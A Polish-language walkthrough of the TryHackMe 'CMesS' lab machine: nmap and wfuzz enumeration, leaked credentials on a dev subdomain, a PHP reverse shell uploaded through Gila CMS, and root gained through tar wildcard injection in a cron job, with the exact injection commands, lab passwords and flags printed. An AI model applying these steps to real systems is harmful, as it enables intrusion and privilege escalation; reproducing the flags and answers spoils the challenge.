Please add `10.10.87.165 cmess.thm` to /etc/hosts

Please also note that this box does not require brute forcing!

NMap

[parrot@parrot][~/tryhackme/cmess]                                                                                                                                           
└╼[]$nmap -sC -sV cmess.thm                                                                                                                                            
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-02 02:01 CEST                                                                                                         
Nmap scan report for cmess.thm (10.10.87.165)                                                                                                                            
Host is up (0.066s latency).                                                                                                                                             
Not shown: 998 closed tcp ports (conn-refused)                                                                                                                           
PORT   STATE SERVICE VERSION                                                                                                                                             
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)                                                                                        
| ssh-hostkey:                                                                                                                                                           
|   2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)                                                                                                           
|   256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)                                                                                                          
|_  256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)                                                                                                        
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))                                                                                                                      
|_http-title: Site doesnt have a title (text/html; charset=UTF-8).                                                                                                      
|_http-generator: Gila CMS                                                                                                                                               
|_http-server-header: Apache/2.4.18 (Ubuntu)                                                                                                                             
| http-robots.txt: 3 disallowed entries                                                                                                                                  
|_/src/ /themes/ /lib/                                                                                                                                                   
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NMap wykrył dwa otwarte porty - 22 oraz 80.

Strona główna

Sprawdziłem dokładnie stronę. Szukałem numeru wersji tego CMS, ale nie znalazłem. Użyłem również FeroxBustera, ale podobnie nie znalazłem nic ciekawego. Postanowiłem sprawdzić jeszcze inne subdomeny. Dostaliśmy na początku informację o cmess.thm, zatem jest szansa, że są jeszcze jakieś inne.

Enumeracja subdomen

[parrot@parrot][~/tryhackme/cmess]
└╼[]$wfuzz -c -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --hc 400,404,403 -H "Host: FUZZ.cmess.thm" -u http://cmess.thm -t 100 --hw 290
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://cmess.thm/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                 
=====================================================================

000000019:   200        30 L     104 W      934 Ch      "dev"                                                                                                   

Total time: 0
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 0

Faktycznie znalazłem jedną odkrytą subdomenę dev. Zatem dodałem ją do /etc/hosts. Po wejściu na stronę zobaczyłem rozmowę usera andre z supportem. Poniżej widać hasło.

Spróbowałem użyć danych do zalogowania się. Z powodzeniem 👌

andre@cmess.thm
KPFTN_f2yxe%

Zacząłem przeglądać CMS w poszukiwaniu jakiegoś uploadu/modyfikacji plików i znalazłem…

Tak wyglądają pliki CMS. Od razu zauważyłem plik config.php i znalazłem tam kolejne dane.

Ale postanowiłem zrobić połączenie z użyciem mojego php-reverse-shella.

Plik został zuploadowany i po wejściu cmess.thm/assets/shell.php oraz nasłuchu na porcie 1234, dostałem połączenie.


www-data

Zacząłem od ustabilizowania shella.

/usr/bin/script -qc /bin/bash /dev/null

Wejście na usera andre było banalne. Zacząłem sprawdzać pliki i znalazłem w /opt coś ciekawego.

W pliku .password.bak był backup hasła. Przy użyciu takich danych dostałem się na usera.

andre
UQfsdCB7aAP6

user.txt

thm{c529b5d5d6ab6b430b7eb1903b2b5e1b}


root

LinPEAS wykrył podatność w cronie.

Widzimy wildcarda * w tar, który wykonuje się w /home/andre/backup. Można wykorzystać to i uzyskać roota. Ja dla prostoty dodałem bit SUID do /bin/bash.

Oczywiście teraz /bin/bash nie ma SUID.

cd /home/andre/backup
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "chmod +s /bin/bash" > shell.sh
chmod +x shell.sh
touch a
/bin/bash -p

root.txt

thm{9f85b7fdeb2cf96985bf5761a93546a2}


Root proof